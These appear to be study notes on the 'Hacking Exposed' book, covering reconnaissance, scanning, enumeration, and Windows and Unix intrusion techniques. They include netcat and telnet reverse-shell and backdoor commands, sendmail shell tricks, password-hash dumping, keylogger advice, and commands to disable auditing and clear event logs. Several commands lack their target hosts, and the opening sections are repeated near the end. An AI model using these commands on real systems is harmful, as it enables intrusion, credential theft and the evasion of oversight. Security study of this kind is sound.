Hacking Exposed Notes
Views
Footprinting – profiling an organization Internet, Intranet, Remote Access, and Extranet presence to determine security posture and netblocks
Website Pilfering – grabbing source code to analyze offline
Unix – Wget http://www.gnu.org/software/wget/wget.html
Win – Teleport Pro http://www.tenmax.com/teleport/home.htm
Search Engines – tools for searching multiple engines, IRC, email, etc at once
Win – FerretPRO($) http://www.ferretsoft.com
Web – DogPile http://www.dogpile.com
Registered Networks – internet whois searches
Current Registrars http://www.internic.net/alpha.html
Unix – Whois, Xwhois http://c64.org/~nr/xwhois/
Unix - $ whois “acme.”@whois.crsnic.net (list possible domains)
Unix - $ whois “HANDLE JS1234”@whois.networksolutions.com (list POC info)
Unix - $ whois “@acme.net”@whois.networksolutions.net (list email info)
Web – US http://www.arin.net
Web – International http://www.allwhois.com
Web – US Military http://whois.nic.mil
Web – US Gov http://whois.nic.gov
DNS Interogation – zone transfers between primary and secondary
Unix - $ nslookup
$ server x.x.x.x
$ set type=any
$ ls –d Acme.net. >> /tmp/zone_out
Unix - $ host –l –v –t any Acme.net
Unix - $ host Acme.net (resolves Mail Exchange records)
Unix – axfr http://ftp.cdit.edu.cn/pub/linux/www.trinux.org/src/netmap/axfr-0.5.2.tar.gz
Win – Sam Spade http://www.samspade.org
Network Reconnaissance – determine path to network(access path diagram)
Unix - $ traceroute –S –p53 x.x.x.x ( p option allows you to specify port to start at and will increment by one; S option will stop incrementing once open port is found)
Requires patch http://www.packetfactory.net/Projects/firewalk/traceroute.diff
Unix – traceroute option –I uses ICMP packets, default is UDP
Win – tracert(CLI)
Win – VisualRoute http://www.visualroute.com , NeoTrace http://www.neotrace.com (GUI)
Counter Measure – log incoming traceroutes and send back false data
RotoRouter http://packetstorm.securify.com/UNIX/loggers/rr-1.0.tgz
Scanning – determine systems that are alive and reachable via sweeps, port scans, and discovery tools
Ping Sweeps – sending out ICMP ECHO(type 8) across ranges
Unix – fping http://packetstorm.securify.com/Exploit_Code_Archive/fping.tar.gz
Unix – nmap, use –sP option and valid net range, -PT<#> allows you to try other ports if blocked
Unix – Hping http://www.kyuzz.org/antirez/ allows you to send fragmented packets(-f)
Unix – icmpenum http://www.nmrc.org/files/sunix/icmpenum-1.1.1.tgz ability to use ICMP TIME STAMP REQUESTS and ICMP INFO when ECHO is blocked, spoof packets with –s option, and passively list with the –p option
Win – Pinger http://www.nmrc.org/files/snt/
Win – Ping Sweep http://www.solarwinds.net
Additional Tools
Unix – Loki2 http://www.phrack.org/show.php?p=51&a=6 wraps data in ICMP packets, used to bypass firewalls and install backdoors
Port Scanning – connecting to TCP and UDP ports on a target system to see which services are running and which OS
TCP connect scan – full three way handshake, easily detected by host or NIDS
TCP SYN scan – no ACK is sent, only RST /ACK so that no connection is made, stealthier
TCP Xmas Tree Scan – uses FIN, URG, PUSH packets to receive RST for closed ports
TCP Null Scan – sends packet with no flags to receive RST for closed ports
TCP ACK Scan – used to map firewall rulesets, determine statefullness
TCP Windows Scan – analyzes TCP window size for OS identification and open ports
TCP RCP Scan – Unix, detect RPC ports and associated program
UDP Scan – looks for ICMP port unreachable, less accurate, slower
Unix – Strobe ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/strobe-1.06.tgz TCP scanner, also grabs banners
Unix – Saint(SATAN) http://www.saintcorporation.com/products/download.html UDP scanner
Unix - netcat http://www.saintcorporation.com/products/download.html Multifunction scanner
Unix – nmap, -D option for decoy scan, -I option shows owner of service(root), -b ftp bounce
Win – SuperScan http://www.foundstone.com/resources/proddesc/superscan4.htm
FTP Bounce Scanning - allows attacker put/get data via 3rd party server that is trusted by the target host. Requires port command and writable directory on system
http://www.securityfocus.com/archive/1/3488
Scan Detection
Unix – Snort http://www.snort.org/docs/ open source NIDS
Unix – scanlogd http://www.openwall.com/scanlogd/ host based logging
Unix – PortSentry http://sourceforge.net/projects/sentrytools/ host based, detects and blocks
Unix – alert.sh http://www.spitzner.net/intrusion.html firewall scan detection
Win – Genius 3.2.3 http://www.indiesoft.com/ windows host based scan detection
OS Determination – using techniques such as banner grabbing, port scanning, and stack fingerprinting to determine target hosts Operating System
Stack Fingerprinting – analyzing target machine’s TCP/IP stack for OS specific signatures. Each Vendor implements the TCP/IP stack slightly different.
http://www.insecure.org/nmap/nmap-fingerprinting-article.html
Passive Stack Fingerprinting – no connections are made, only analyzing packets via a sniffer for specific attributes such as TTL, Window Size, and DF(don’t fragment bit). The results can be compared to the Siphon fingerprint db http://www.l0t3k.org/security/tools/fingerprinting/
Discovery Tools
Unix – Cheops http://www.marko.net/cheops/ Linux GUI for network discovery via ping, traceroute, queso
Unix – Scotty http://wwwhome.cs.utwente.nl/~schoenw/scotty/ discovery tool, includes SNMP
Enumeration – process of extracting valid account and shared resource information for a target host
WINDOWS
Windows Resouce Kits – contains useful Windows utilities
Win2K - http://www.microsoft.com/windows2000/techinfo/reskit/tools/default.asp
- http://www.dynawell.com/support/ResKit/win2k.asp
WinNT - http://www.dynawell.com/support/ResKit/winnt.asp
Null Sessions – CIFS/SMB & NetBIOS all unauthenticated sessions via port 139 & 445
Win – C:>\net use \\192.168.202.33\IPC$ “” /u:”” (setting up a null session)
Win – edit registry key HKLM\SYSTEM\CurrentControlSet\Control\LSA\Restrict Anonymous
Must be set to 1 for NT and 2 for W2K to restrict null sessions. Read Hobbits CIFS paper for further info http://www.insecure.org/stf/cifs.txt
Domain Enumeration – use netbios on UDP port 137 to list domains and domain machines
Win – C:\>net view /domain
C:\>net view /domain: (lists machines on domain)
NetBIOS Name Tables – grab NetBIOS names remotely
Win – C:\>nbtstat –A 192.168.202.33
Win – C:\>nbtscan 192.168.234.0/24
Unix/Win versions found at http://www.inetcat.org/software/
Domain Controller Enumeration
Win – C:\>nltest /dclist: (ran over null session nltest /server:)
C:\>nltest /trusted_domains
Share Enumeration
Win – C:\>net view \\ (rmtshare, srvinfo [-s] also good NTRK)
Win – DumpSec also shows file system permissions and services http://www.somarsoft.com/
Win – Legion 2.1 http://www.elhacker.net/hacking.htm
Win – NAT ftp://ftp.technotronic.com/microsoft/nat10bin.zip
Misc Windows Enumeration Tools
Win – Epdump RPC service/port mappings http://packetstormsecurity.org/NT/audit/epdump.zip
Win – netviewx lists specific server types like domain controller, RAS, print
C:\>netviewx –D -T
http://www.ibt.ku.dk/jesper/NetViewX/default.htm
Win – Winfo automates null sessions http://www.ntsecurity.nu/toolbox/winfo/
Win – Nbtdump provides HTML report http://www.cerberus-infosec.co.uk/toolsn.shtml
SNMP Enumeration
Win – Snmputil – browses MIB(Management Information Base) tree using default strings like public, private. The tree is hierarchical, so each time you “walk up” more information is revealed. “.1.3.6.1.4.1.77.1.2.25” is the OID for Microsoft’s MIB.(NTRK)
C:\>snmputil walk 192.168.202.33 public .1.3.6.1.4.1.77.1.2.25
Win – IP Browser – Solarwinds GUI, http://www.solarwinds.net
More CIFS/SMB Enumeration
Win – Dumpsec(DumpACL) – uses null session to get user, group, share, and policy info
Win – sid2user/user2sid – allows for easy conversion of SID’s to usernames and vice versa
http://www.chem.mus.su:8080/~rudnyi/NT/sid.txt
C:\>user2sid \\ “domain users” (grabs the machines SID)
C:\>sid2user \\ 5 21 8915387 1645822062 18198280005 500 (grabs admin account’s user name, note 500 is always the admin RID, even if its renamed. Also, the first account created is always given an RID of 1000 and incremented by one from there)
Mark Russinovich http://www.win2000mag.com/Articles/Index.cfm?ArticleID=3143
Win – Enum – CLI utility for enumeration & password guessing http://razor.bindview.com
C:\>enum –U –d –P –L –c
Win – Nete from sirdystic of CDC, similar to enum
Win – UserInfo/UserDump user Level 3 call on NetUserGetInfo API http://www.HammerofGod.com/download.htm
LDAP Enumeration
Win – ldp.exe – Active Directory Administration Tool – connects to AD server and allows you to browse contents, runs on either port 389 or 3268(AD Global Catolog)
Banner Enumeration
Banner grabbing via telnet or netcat on various ports like 80, 21, 23, 25 will often leak system, OS, application, user, or version information. Also common to “nudge” the system into coughing up more information using commands like: GET / HTTP/1.0, HEAD, QUIT, HELP, ECHO, and sometimes just carriage returns.
Registry Enumeration
Regdmp(NTRK) or DumpSec(Somarsoft) can be both be used to do this, however by default Win2K Server usually doesn’t allow this. Review the Key HKLM\System\CurrentControlSet\Control\SecurePipeServer\Winreg\AllowedPaths
To see whats allowed
UNIX
NFS Enumeration
Unix – showmount – lists all NFS(port 2049) exported file systems on a machine
$showmount –e
NIS Enumeraton
Unix – in general various NIS client tools can be used to guess the NIS domain name of a server and retrieve NIS maps, which contain valuable information(pscan by Pluvius)
User & Group Enumeration
Unix – finger(port 79), rwho, rusers all list out who is on the machine at the time. To disable these services simply edit the inetd.conf file and killall –HUP inetd
Unix – SMTP – VRFY will confirm name of valid user; EXPN will give out the actual mail address of aliases and mailing lists. Just telnet to port 25 to test.
Unix – tftp – if enabled, may allow you to get the /etc/password file.
RPC Enumeration
Unix – rpcinfo, rpcdump – both list the RPC bindings for all applications running on the box. RPC uses ports 111, 32771. http://www.atstake.com/research/tools/info_gathering/
SNMP Enumeration
Unix – the net-snmp package will usually include both snmpget and snmpwalk
$ snmpget public system.sysName.0 (grabs host name)
$ snmpwalk public (grabs eniter MIB)
BGP Route Enumeration
Unix – ASN Queries – ASN(Autonomous System Numer) is a 16-bit integer purchased from ARIN to identify a company on the internet. Use http://www.completewhois.com/ to search for this info.
C:\> telnet route-views.Oregon-ix.net (public router)
Ø show ip bgp (last number in AS Path is ASN)
Ø show ip bgp regexp _$ (will give you the public IP space of company)
Windows NT Hacking – gaining access, escalating privileges and covering tracks on Windows NT system
Password Guessing
Default Passwords http://packetstormsecurity.org/docs/hack/dad.txt
http://phenoelit.darklab.org/cgi-bin/display.pl?SUBF=list&SORT=1
http://www.cirt.net/cgi-bin/passwd.pl
Null Passwords Tools NTInfoScan http://packetstormsecurity.org/NT/audit/index2.html
SMBGrind http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=SMBGrind&type=archives
Password Sniffing SMB Packet Capture(readsmb) included with l0phtcrack
PPTP – Unix based sniffer that captures VPN credentials(packetstorm)
Cain & Abel filters out login credentials http://www.oxid.it/
Pass The Hash NT Only, LSASS allows hash only authentication
http://www.core-sdi.com/papers/nt-cred.htm
Buffer Overflows unexpected input, which forces arbitrary code into the execution stack
http://www.cultdeadcow.com/cDc_files/cDc-351/page1.html by DilDog
http://pulhas.org/phrack/55/P55-15.html by Barnaby Jack
http://www.insecure.org/stf/smashstack.txt by Aleph One
Privilege Escalation
Hoovering process of stealing as much info off the machine as possible with a non-admin account. Srvinfo(NTRK) will enumerate shares and regdmp(NTRK) can probe the registry for info. Also good to script a find command in a batch file to look for the password string. GetAdmin uses DLL injection to add a user into the local admin group(crash4)
http://www.windowsitsecurity.com/Articles/Index.cfm?ArticleID=9231
Sechole, Secholed escalates privileges of IUSR_machine_name account on IIS, must be able to upload to a executable directory on server http://www.winnetmag.com/Article/ArticleID/9269/9269.html
LPC Spoofing
hk(porttool) from Razor exploits the LPC Ports API, which has weak validation checks. Allows user to make a client thread as the SYSTEM user. http://www.bindview.com/Support/RAZOR/Utilities/Windows/LPCAdvisory.cfm
Password Cracking the SAM file may be obtained by booting to an alternate OS, from the repair directory, or extracting from the registry via tool.
Pwdump extracts password hashes from the SAM http://packetstormsecurity.org/Crackers/NT/pwdump3.zip
L0phtcrack defacto standard for cracking windows passwords, not free anymore LC5 http://www.atstake.com/products/lc/index.html
Cain & Abel - Poor man’s version of LC, free http://www.oxid.it/cain.html
Wordlists - http://coast.cs.purdue.edu/pub/dict/ http://www.cotse.com/tools/wordlists.htm
Exploiting Trusts
LSA Secrets - The key HKLM\SECURITY\Policy\Secrets holds service accounts in plain text, cached passwords of last 10 users, FTP and web plain test passwords, RAS usernames and passwords, and domain account information. Lsadump2 finds PID of LSASS and uses dll injection http://www.bindview.com/Support/RAZOR/Utilities/Windows/lsadump2_readme.cfm
Sniffers
WinDump, “w32 tcpdump” http://windump.polito.it/install/default.htm Ethereal http://www.ethereal.com/download.html
Dsniff for Win32 http://www.datanerds.net/~mike/dsniff.html
Keystroke Loggers - If sniffing fails, install a keystroke logger to obtain domain credentials http://www.download.com/3120-20-0.html?qt=Keystroke+logger&tg=dl-2001
Remote Control & Backdoors - Remote.exe From NTRK, gives remote users a CMD shell. Most popular way to start it on the host is the us the AT command(scheduler service).
SC.exe - Service Controler will start the scheduler service if its not running C:\> sc \\ start schedule
C:\> net time \\ (to check time on remote system)
C:\> at \\ 10:40P “”remote /s cmd secret”” (launchesserver) C:\> remote /c secret (launches your client)
Netcat -TCP-IP Swiss-Army Knife http://packetstormsecurity.org/UNIX/utilities/nc110.tgz
C:\> nc –L –d –e cmd.exe –p80 (starts listener on target host)
C:\> nc 80 (connects attacker to target host)
Netbus - similar to Back Orifice, the nbsvr.exe must be started on target first. Good idea to run in stealth mode by modifying the registry, however most Virus scans will detect it running. Default ports are 12345 and 20034
C:\> regini –m \\ regchange.txt (NTRK) http://packetstormsecurity.org/trojans/NB20Pro.exe
BO2K - Back Orifice, still under active development, works on 2K and XP http://www.bo2k.com/software/index.html
Along with these VNC, Netmeeting, and dameware are poplular gui-based remote control apps
Port Redirection
Netcat - “Shell Shoveling” target listens on one port while sending the output back via cmd shell to the attacker. The attacker must listen on 2 ports
$ nc 80 | cmd.exe | nc 25 (run on target)
Fpipe - Popular port redirector, also allows for specifying source port. Does have some session timeout issues though with TIME_WAIT and CLOSE_WAIT periods C:\>fpipe –v –l 53 –r 23 (command to run on target) http://www.foundstone.com/resources/proddesc/fpipe.htm
Root Kits - first Windows rootkit was from Greg Hoglund of rootkit.com. A root kit is a software suite that substitutes command system binaries with Trojans. Rootkits use a technique known as “function hooking” to redirect calls without altering the executable or binary. The current generation of Kernel level rootkits are very difficult to detect as they are embedded in the OS. http://www.antiserver.it/Backdoor-Rootkit/
Cover Tracks
Disable Auditing
C:\> auditpol /disable (NTRK)
Clear Event Log
C:\> elsave –s \\ -l “Security” -C http://www.ibt.ku.dk/jesper/NTtools/
Hiding Files
C:\> attib +h [directory] (dos command)
NTFS File Streaming will hide stuff as additional file attributes. It requires the POSIX utility cp(NTRK)
C:\> cp : (just reverse to unhide)
Windows 2000 Hacking – gaining access, escalating privileges and covering tracks on Windows 2K system
Footprinting
Resource Kit Tools http://www.microsoft.com/windows2000/techinfo/reskit/tools/default.asp
http://www.dynawell.com/support/ResKit/win2k.asp
IPSec Filters - built in feature which does packet filtering very early in the network stack and will drop any packets which fail to meet the rules. Only flaw is that it cannot block IKE, multicast, or broadcast traffic and can’t do port ranges. http://www.microsoft.com/technet/itsolutions/network/security/ipsecld.mspx
Enumeration
NetBIOS/SMB - System information will still be leaked unless you do 1 of 2 things. Disabling File and Print Sharing on your outbound interface will prevent nullsessions. Set RestrictAnonymous = 2 in either the registry or in the Security Policy Manager.
Eavesdropping - All authentication sent using legacy LM hashes can be easily decrypted via L0phtcrack. Also, Kerberos authentication is not used if the user specifies an IP address instead of a hostname.
SMBRelay - When trying to connect to a share/server, Windows will automatically try to log in as the current user if no other authentication information is explicitly supplied, before asking the user for a logon/password. SMBRelay will conduct a MITM attack by fooling a user into connecting to your rogue server, meanwhile after capturing the traffic it is relayed to the actual destination and back to the end user. http://www.xfocus.net/articles/200305/smbrelay.html
Denial of Service
New Registry Keys
HKLM\Sys\CCS\Services\Tcpip\Parameters\SynAttackProtect = 2 (times out syn_received faster)
EnableDeadGWDetect = 0 (prevents attacker from changing default gw) EnablePMTUDiscovery = 0 (stops hackers from lowering MTU value)
KeepAliveTime = 300,000 (verify’s an idle connection is still intact)
Interfaces\NoNameReleaseOnDemand = 0 (stops malware)
Interfaces\PerformRouterDiscovery = 0 (stop router spoofing attack)
http://support.microsoft.com/default.aspx?scid=kb;en-us;142641
Nbname - This tools puts a host in Netbios Name Conflict effectively stopping all Netbios networking on the host. Must first disable NBT on attacker machine to use tool.
C:\>nbname /astat /confilict http://www.securityfocus.com/tools/1670
Privilege Escalation
PipeUpAdmin - Pre SP2, puts current user into admin group when run from cmd prompt http://content.443.ch/pub/security/blackhat/WinNT%20and%202K/pipeup/W2KPipeUp/
NetDDE - Network Dynamic Data Exchange service allows applications to share date through “trusted shares”. Runs as SYSTEM, so arbitrary code can be attached to the request and viola your admin. Requires Visual C++.
C:\>netddemsg –s cmd.exe http://www.atstake.com/research/advisories/2001/netddemsg.cpp
Pilfering
Defeating SYSKEY - pwdump3 can extract hashes from the SAM. Also pwdump3e from ebiz can do this remotely via SMB. http://www.securityfocus.com/tools/1964/chntpw Can be used on bootable media to insert hashes into the SAM. It disables SYSKEY prior to doing this. Similar to NTFSDOS Pro. http://home.eunet.no/~pnordahl/ntpasswd/syskey.txt
Deleting SAM simply booting to an alternate OS and deleting the SAM nullifies the administrator password. DC are not vulnerable. http://www.securiteam.com/windowsntfocus/5FP0B0U1FW.html
EFS - Encrypting File System allows users to encrypt files and folders at the OS level. Cipher can be used from the CMD line. Default Recovery Key is the local admin account, however it should be stored remotely. http://www.microsoft.com/windows2000/techinfo/howitworks/security/encrypt.asp
EFS Temporary - EFS writes a temp file in plain text before encrypting a new file, however a low level disk editor like diskprobe.exe(RK) can recover the file even after its deleted because the disk blocks are not overwritten.
Exploiting Trust
LSA Secrets - lsadump2 still functions on W2K. Microsoft doesn’t consider it a problem
Multimaster Model - Within a Windows 2K forest, all domains replicate a shared Active Directory and trust each other with 2-way transitive trusts necessitated by the Kerberos implementation. Trusts between forests and NT domains are still one-way. This allows for consolidation of domains and delegation of permissions via OU’s (organizational units).
Back Doors
Trap-Dooring Path - When executables and DLL files are not preceded by a path in the registry, windows searches for them in a default order. Therefore by placing your trojaned file on the system drive, the system will launch it instead of the original file. http://www.winnetmag.com/WindowsSecurity/Article/ArticleID/9637/WindowsSecurity_9637.html
Remote Control
Terminal Services running on 3389, TS allows brute force password guessing even if a lockout policy is set. TS also allows existing connections to be hijacked if the previous user forgot to logout correctly, assuming you have their credentials.
New Stuff
Group Policy - GPO is a new 2K feature, that allows you to configure security parameters in one place to be enforced locally or on the domain. (Gpedit.msc)
Secedit - Security Configuration and Analysis tool allows admins to audit the local system security for compliance issues. It also allows you to automatically make updates and have them applied immediately.
XP Stuff
ICF - Internet Connection Firewall offers packet filtering on all inbound traffic, while permitting all outbound traffic.
Software Restriction Policy allows central control over application security to protect against various forms of malware.
Built-In Support for encrypted Wireless Networking(802.11).
MS Passport single-login solution for internet, works by using a tamper-resistant cookie for accessing all sites that support MS passport authentication.
Credential Management, WPA, Remote Desktop, UPNP
UNIX/Linux Hacking – gaining access, escalating privileges and covering tracks on *NIX system
Vulnerability Mapping is the process of mapping specific security attributes of a system to an associated vulnerability or potential vulnerability.
Nessus is a defacto standard because its free and works. http://www.nessus.org/download.html (unix & windows ports)
Remote Attacks - Exploit a Listening Service (telnet, ftp, ssh, etc)
Route Through a Unix System – circumvent a Unix firewall by source routing your packets through the firewall. Works only if system has IP forwarding enabling.
User-Initiated Remote Execution – attacks requiring user interaction, such as browsing malicious web sites or opening email attachments.
Promiscuous Mode Attacks – crafted packets can exploit your sniffer application
Brute Force - Brutus Common tool http://www.hoobie.net/brutus/brutus-download.html
John - Standard Unix Cracker http://www.openwall.com/john/
Data Driven Attacks are executed by sending data to an active service that causes unintended or undesirable results.Buffer Overflow condition occurs when a user or process attempts to place more data into a buffer than was originally allocated. This type of behavior is associated with specific C functions like strcpy, strcat, sprintf etc. A buffer overflow condition would normally cause a segmentation violation to occur. When the attack is executed, special assembly code known as the egg is sent to the VRFY command as part of the actual string used to overflow the buffer. When it’s overrun, attackers can set the return address of the offending function, to point to their arbitrary code’s memory address, which usually includes a shell command. http://www.piaffe.org/panic/
Unix Memory Dump Analysis, Good Luck http://www.phrack.org/
Aleph One’s Paper Phrack 49 http://www.securityfocus.com/tools/1500
Hell Kit for writing buffer overflows
Disable stack execution in /etc/system:Set noexec_user_stack=1Set noexec_user_stack_log =1
Heap Overflows are based on overrunning memory that has been dynamically allocated by an application. This process differs from stack-based overflows, which depend on overflowing a fixed-length buffer. http://www.w00w00.org/files/heaptut/heaptut.txt
Format String Vulnerability arises in subtle programming errors in the formatted output family of functions, which includes printf() and sprintf(). An attacker can take advantage of this by passing carefully crafted test strings containing formatting directives, which can cause the target computer to execute arbitrary commands. For example by using printf(buf) instead of printf(“%I”, buf) the system will read the first argument supplied by the user as the format string and allow arbitrary code to follow it.
Input Validation Attacks occur when a program fails to recognize syntactically incorrect input, a module accepts extraneous input, a module fails to handle missing input fields, or a field-value correlation error occurs. Often used to exploit CGI scripts or other web applications. Shell AccessX Term if enabled is the easiest way to get local gui access on a machine remotely, but may need to be combined with an exploit though. $ /usr/X11R6/bin/xterm –ut :0.0
Reverse Telnet/Netcat will both provide attackers with a back channel into the system that originates from the target host. Both require a listener to be running.
$ /bin/telnet 80 | /bin/sh | /bin/telnet 25
$ nc –e /bin/sh 80
TFTP/Anonymous FTP both will allow attacker to gain access to your machine and if a writeable/executable directory is available the system is toast. The services themselves may be vulnerable to exploits.Sendmail the standard Unix Mail Transfer Agent has been full of vulnerabilities dating back to 1988. Common attacks aside from buffer overflows, input validation, and SMTP enumeration include:Pipe Vulnerability which allows a user to escape to a shell after the data portion
Helo
Mail from:
Rcpt to: bounceData.
mail from:
binrcpt to: |sed ‘1,/^$/d’ | shdata Forward VulnerabilityCat > .forward (create forward file to ftp to users home directory)|”cp /bin/sh /home/gk/evil_shell ; chmod 755 /home/gk/evil_shell” (creates shell executable)
$ echo hello chump | mail gk@targetsystem.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it Refer to http://www.sendmail.org/ for up to date information
RPC is a mechanism that allows a program running on one computer to seamlessly execute code on a remote system. Most buffer overflow attacks target RPC services that run as root in order to gain shell access to the target sytem. Common services exploited include rpc.ttdbserverdb(tooltalk), rpc.cmsd(CDE), rpc.statd(automount), mountd, sadmind, and snmpXdmid.
NFS allows transparent access to files and directories of remote systems as if they were stored locally. Most of the security provided by NFS relates to a data object known as a file handle. The file handle is a token that is used to uniquely identify each file and directory on the remote server. If a file handle can be sniffed of guessed, remote attackers could easily access those files on the remote system.
$ showmount –e (lists exported file systems & permissions)
$ mount :/ /mnt
Try NFSshell for more functionality ftp://ftp.cs.vu.nl/pub/leendert
X Windows System allows exporting of the local graphical display to remote users.Xscan will scan an entire subnet looking for systems with xhosts + enabled and log any console keystrokes to a local logfile. http://www.seguridad0.net/programas/X-Scan-v3.0.zip
$ xlswins –display :0.0 (will list out hex id’s for you)
$ xwatchwin -w (allows you to observe somebody else’s x session)
DNS Insecurity refer to http://www.isc.org/index.pl?/sw/bind/bind-security.php
SSH Insecurity refer to http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=SSH+exploits&type=archives
Promisious Mode Attacks are common in Ethereal, tcpdump, and several other sniffersSymbolic Link can be exploited using any program, especially SUID ones, that creates a temp file and doesn’t perform any sanity checking. By linking that tmp file to the /etc/password or shadow file, the program will update it with its permissions and not root’s.
$ strings * | grep tmp (when run in /bin or /usr/bin, will list out good programs to target)
File Descriptors are nonnegative integers that the system uses to keep track of files rather than using specific filenames (0,1,2, std in, out, error). If a file descriptor is opened r/w by a privileged process, it may be possible for the attacker to write to the file while it is being modified. To shell out of vi, execute :!sh and then modify the tmp file or run exploit code.
Footprinting – profiling an organization Internet, Intranet, Remote Access, and Extranet presence to determine security posture and netblocks
Website Pilfering – grabbing source code to analyze offline
Unix – Wget http://www.gnu.org/software/wget/wget.html
Win – Teleport Pro http://www.tenmax.com/teleport/home.htm
Search Engines – tools for searching multiple engines, IRC, email, etc at once
Win – FerretPRO($) http://www.ferretsoft.com
Web – DogPile http://www.dogpile.com
Registered Networks – internet whois searches
Current Registrars http://www.internic.net/alpha.html
Unix – Whois, Xwhois http://c64.org/~nr/xwhois/
Unix - $ whois “acme.”@whois.crsnic.net (list possible domains)
Unix - $ whois “HANDLE JS1234”@whois.networksolutions.com (list POC info)
Unix - $ whois “@acme.net”@whois.networksolutions.net (list email info)
Web – US http://www.arin.net
Web – International http://www.allwhois.com
Web – US Military http://whois.nic.mil
Web – US Gov http://whois.nic.gov
DNS Interogation – zone transfers between primary and secondary
Unix - $ nslookup
$ server x.x.x.x
$ set type=any
$ ls –d Acme.net. >> /tmp/zone_out
Unix - $ host –l –v –t any Acme.net
Unix - $ host Acme.net (resolves Mail Exchange records)
Unix – axfr http://ftp.cdit.edu.cn/pub/linux/www.trinux.org/src/netmap/axfr-0.5.2.tar.gz
Win – Sam Spade http://www.samspade.org
Network Reconnaissance – determine path to network(access path diagram)
Unix - $ traceroute –S –p53 x.x.x.x ( p option allows you to specify port to start at and will increment by one; S option will stop incrementing once open port is found)
Requires patch http://www.packetfactory.net/Projects/firewalk/traceroute.diff
Unix – traceroute option –I uses ICMP packets, default is UDP
Win – tracert(CLI)
Win – VisualRoute http://www.visualroute.com , NeoTrace http://www.neotrace.com (GUI)
Counter Measure – log incoming traceroutes and send back false data
RotoRouter http://packetstorm.securify.com/UNIX/loggers/rr-1.0.tgz
Scanning – determine systems that are alive and reachable via sweeps, port scans, and discovery tools
Ping Sweeps – sending out ICMP ECHO(type 8) across ranges
Unix – fping http://packetstorm.securify.com/Exploit_Code_Archive/fping.tar.gz
Unix – nmap, use –sP option and valid net range, -PT<#> allows you to try other ports if blocked
Unix – Hping http://www.kyuzz.org/antirez/ allows you to send fragmented packets(-f)
Unix – icmpenum http://www.nmrc.org/files/sunix/icmpenum-1.1.1.tgz ability to use ICMP TIME STAMP REQUESTS and ICMP INFO when ECHO is blocked, spoof packets with –s option, and passively list with the –p option
Win – Pinger http://www.nmrc.org/files/snt/
Win – Ping Sweep http://www.solarwinds.net
Additional Tools
Unix – Loki2 http://www.phrack.org/show.php?p=51&a=6 wraps data in ICMP packets, used to bypass firewalls and install backdoors
Port Scanning – connecting to TCP and UDP ports on a target system to see which services are running and which OS
TCP connect scan – full three way handshake, easily detected by host or NIDS
TCP SYN scan – no ACK is sent, only RST /ACK so that no connection is made, stealthier
TCP Xmas Tree Scan – uses FIN, URG, PUSH packets to receive RST for closed ports
TCP Null Scan – sends packet with no flags to receive RST for closed ports
TCP ACK Scan – used to map firewall rulesets, determine statefullness
TCP Windows Scan – analyzes TCP window size for OS identification and open ports
TCP RCP Scan – Unix, detect RPC ports and associated program
UDP Scan – looks for ICMP port unreachable, less accurate, slower
Unix – Strobe ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/strobe-1.06.tgz TCP scanner, also grabs banners
Unix – Saint(SATAN) http://www.saintcorporation.com/products/download.html UDP scanner
Unix - netcat http://www.saintcorporation.com/products/download.html Multifunction scanner
Unix – nmap, -D option for decoy scan, -I option shows owner of service(root), -b ftp bounce
Win – SuperScan http://www.foundstone.com/resources/proddesc/superscan4.htm
FTP Bounce Scanning - allows attacker put/get data via 3rd party server that is trusted by the target host. Requires port command and writable directory on system
http://www.securityfocus.com/archive/1/3488
Scan Detection
Unix – Snort http://www.snort.org/docs/ open source NIDS
Unix – scanlogd http://www.openwall.com/scanlogd/ host based logging
Unix – PortSentry http://sourceforge.net/projects/sentrytools/ host based, detects and blocks
Unix – alert.sh http://www.spitzner.net/intrusion.html firewall scan detection
Win – Genius 3.2.3 http://www.indiesoft.com/ windows host based scan detection
OS Determination – using techniques such as banner grabbing, port scanning, and stack fingerprinting to determine target hosts Operating System
Stack Fingerprinting – analyzing target machine’s TCP/IP stack for OS specific signatures. Each Vendor implements the TCP/IP stack slightly different.
http://www.insecure.org/nmap/nmap-fingerprinting-article.html
Passive Stack Fingerprinting – no connections are made, only analyzing packets via a sniffer for specific attributes such as TTL, Window Size, and DF(don’t fragment bit). The results can be compared to the Siphon fingerprint db http://www.l0t3k.org/security/tools/fingerprinting/
Discovery Tools
Unix – Cheops http://www.marko.net/cheops/ Linux GUI for network discovery via ping, traceroute, queso
Unix – Scotty http://wwwhome.cs.utwente.nl/~schoenw/scotty/ discovery tool, includes SNMP
Enumeration – process of extracting valid account and shared resource information for a target host
WINDOWS
Windows Resouce Kits – contains useful Windows utilities
Win2K - http://www.microsoft.com/windows2000/techinfo/reskit/tools/default.asp
- http://www.dynawell.com/support/ResKit/win2k.asp
WinNT - http://www.dynawell.com/support/ResKit/winnt.asp
Null Sessions – CIFS/SMB & NetBIOS all unauthenticated sessions via port 139 & 445
Win – C:>\net use \\192.168.202.33\IPC$ “” /u:”” (setting up a null session)
Win – edit registry key HKLM\SYSTEM\CurrentControlSet\Control\LSA\Restrict Anonymous
Must be set to 1 for NT and 2 for W2K to restrict null sessions. Read Hobbits CIFS paper for further info http://www.insecure.org/stf/cifs.txt
Domain Enumeration – use netbios on UDP port 137 to list domains and domain machines
Win – C:\>net view /domain
C:\>net view /domain: (lists machines on domain)
NetBIOS Name Tables – grab NetBIOS names remotely
Win – C:\>nbtstat –A 192.168.202.33
Win – C:\>nbtscan 192.168.234.0/24
Unix/Win versions found at http://www.inetcat.org/software/
Domain Controller Enumeration
Win – C:\>nltest /dclist: (ran over null session nltest /server:)
C:\>nltest /trusted_domains
Share Enumeration
Win – C:\>net view \\ (rmtshare, srvinfo [-s] also good NTRK)
Win – DumpSec also shows file system permissions and services http://www.somarsoft.com/
Win – Legion 2.1 http://www.elhacker.net/hacking.htm
Win – NAT ftp://ftp.technotronic.com/microsoft/nat10bin.zip
Misc Windows Enumeration Tools
Win – Epdump RPC service/port mappings http://packetstormsecurity.org/NT/audit/epdump.zip
Win – netviewx lists specific server types like domain controller, RAS, print
C:\>netviewx –D -T
http://www.ibt.ku.dk/jesper/NetViewX/default.htm
Win – Winfo automates null sessions http://www.ntsecurity.nu/toolbox/winfo/
Win – Nbtdump provides HTML report http://www.cerberus-infosec.co.uk/toolsn.shtml
SNMP Enumeration
